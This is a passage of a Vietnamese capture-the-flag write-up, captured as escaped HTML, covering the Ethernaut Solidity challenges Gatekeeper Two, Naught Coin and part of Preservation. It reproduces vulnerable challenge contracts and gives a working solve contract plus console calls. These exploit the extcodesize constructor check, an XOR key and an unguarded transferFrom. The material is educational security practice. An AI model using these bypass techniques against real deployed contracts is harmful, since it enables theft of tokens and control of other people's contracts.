&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">GatekeeperTwo&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">entrant&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">gateOne&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="nb">tx&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">origin&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">gateTwo&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">x&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assembly&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">x&lt;/span> &lt;span class="o">:=&lt;/span> &lt;span class="nf">extcodesize&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nf">caller&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span> &lt;span class="err">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="err">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_&lt;/span>&lt;span class="err">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">gateThree&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes8&lt;/span> &lt;span class="n">_gateKey&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes8&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">keccak256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">abi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">encodePacked&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">))))&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_gateKey&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="nb">type&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nc">uint64&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">max&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">enter&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes8&lt;/span> &lt;span class="n">_gateKey&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">gateOne&lt;/span> &lt;span class="n">gateTwo&lt;/span> &lt;span class="n">gateThree&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_gateKey&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">entrant&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">tx&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">origin&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Như bài trước, ta cần phải vượt qua 3 điều kiện để qua bài. Ta sẽ phân tích cách để vượt qua từng điều kiện&lt;/p>
&lt;ul>
&lt;li>Với &lt;code>gateOne&lt;/code>, tương tự như bài trước, ta chỉ cần gọi contract server từ một contract trung gian là được&lt;/li>
&lt;li>Với &lt;code>gateTwo&lt;/code>, ta muốn giá trị &lt;code>extcodesize(caller()) = 0&lt;/code>. Đây là cách để kiểm tra address gọi đến có phải là contract address hay không, nếu là contract address thì sẽ trả về giá trị lớn hơn 0. Tuy nhiên, nếu đọc kĩ &lt;a href="https://ethereum.github.io/yellowpaper/paper.pdf">yellow-paper&lt;/a> ta sẽ thấy chú ý nhỏ:
&lt;img src="https://giapppp.github.io/images/blockchain-thingies/blockchain-thingies_1.png" alt="image">
Như vậy, nếu như ta gọi hàm &lt;code>enter()&lt;/code> trong constructor của contract, &lt;code>extcodesize&lt;/code> sẽ bằng 0&lt;/li>
&lt;li>Với &lt;code>gateThree&lt;/code>, đây là phép xor cơ bản: &lt;code>A xor B = C&lt;/code> thì &lt;code>B = A xor C&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>&lt;code>solve.sol&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/gatekeeper2.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">GatekeeperTwo&lt;/span> &lt;span class="n">IGatekeeperTwo&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">GatekeeperTwo&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bytes8&lt;/span> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">bytes8&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint64&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes8&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">keccak256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">abi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">encodePacked&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)))))&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="nb">type&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nc">uint64&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">max&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IGatekeeperTwo&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">enter&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="naught-coin">Naught Coin&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;openzeppelin-contracts-08/token/ERC20/ERC20.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">NaughtCoin&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">ERC20&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// string public constant name = &amp;#39;NaughtCoin&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="c1">// string public constant symbol = &amp;#39;0x0&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="c1">// uint public constant decimals = 18;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">timeLock&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">10&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">365&lt;/span> &lt;span class="kc">days&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">INITIAL_SUPPLY&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">player&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_player&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">ERC20&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;NaughtCoin&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;0x0&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">player&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_player&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">INITIAL_SUPPLY&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1000000&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">10&lt;/span> &lt;span class="o">**&lt;/span> &lt;span class="kt">uint256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">decimals&lt;/span>&lt;span class="p">()));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// _totalSupply = INITIAL_SUPPLY;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="c1">// _balances[player] = INITIAL_SUPPLY;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">_mint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">player&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">INITIAL_SUPPLY&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">emit&lt;/span> &lt;span class="n">Transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">player&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">INITIAL_SUPPLY&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">_value&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">override&lt;/span> &lt;span class="n">lockTokens&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">super&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_to&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_value&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Prevent the initial owner from transferring tokens until the timelock has passed
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">lockTokens&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">player&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">timeLock&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Bài này yêu cầu ta tiêu hết token của chính mình. Tuy nhiên, hàm &lt;code>transfer&lt;/code> của ERC20 đã bị ghi đè bởi hàm &lt;code>transfer&lt;/code> của server token. Để có thể gọi hàm &lt;code>transfer&lt;/code>, ta cần phải vượt qua điều kiện &lt;code>lockTokens()&lt;/code>, tức là cần đợi 10 năm :)) . Việc đợi này không khả thi nên ta sẽ tìm cách chuyển khác.&lt;/p>
&lt;p>Chú ý rằng ERC20 có 2 hàm dùng để chuyển token là &lt;code>transfer&lt;/code> và &lt;code>transferFrom&lt;/code>. Cả hai hàm cơ bản đều có chức năng như nhau, đó là chuyển token từ account này sang account khác. Tuy nhiên, hàm &lt;code>transferFrom&lt;/code> không bị điều kiện &lt;code>lockTokens&lt;/code> ràng buộc nên ta sẽ sử dụng hàm này để chuyển token.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kr">await&lt;/span> &lt;span class="nx">contract&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">approve&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">player&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;1000000000000000000000000&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1">//Cho phép player rút một lượng token
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kr">await&lt;/span> &lt;span class="nx">contract&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">transferFrom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">player&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">instance&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;1000000000000000000000000&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="c1">// Chuyển token của bản thân cho một address khác, ở đây mình sử dụng address của contract luôn
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Bài học:&lt;/p>
&lt;ul>
&lt;li>Cần chú ý đến các hàm có chức năng gần giống nhau&lt;/li>
&lt;/ul>
&lt;h3 id="preservation">Preservation&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Preservation&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// public library contracts
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">timeZone1Library&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">timeZone2Library&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">owner&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">storedTime&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Sets the function signature for delegatecall
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">bytes4&lt;/span> &lt;span class="k">constant&lt;/span> &lt;span class="n">setTimeSignature&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">bytes4&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">keccak256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;setTime(uint256)&amp;#34;&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">_timeZone1LibraryAddress&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="n">_timeZone2LibraryAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">timeZone1Library&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_timeZone1LibraryAddress&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">timeZone2Library&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">_timeZone2LibraryAddress&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">owner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// set the time for timezone 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">setFirstTime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">_timeStamp&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">timeZone1Library&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">delegatecall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">abi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">encodePacked&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">setTimeSignature&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_timeStamp&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// set the time for timezone 2
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">setSecondTime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">_timeStamp&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">timeZone2Library&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">delegatecall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">abi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">encodePacked&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">setTimeSignature&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">_timeStamp&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// Simple library contract to set the time
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kd">contract&lt;/span> &lt;span class="nc">LibraryContract&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// stores a timestamp
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">storedTime&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">setTime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">_time&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
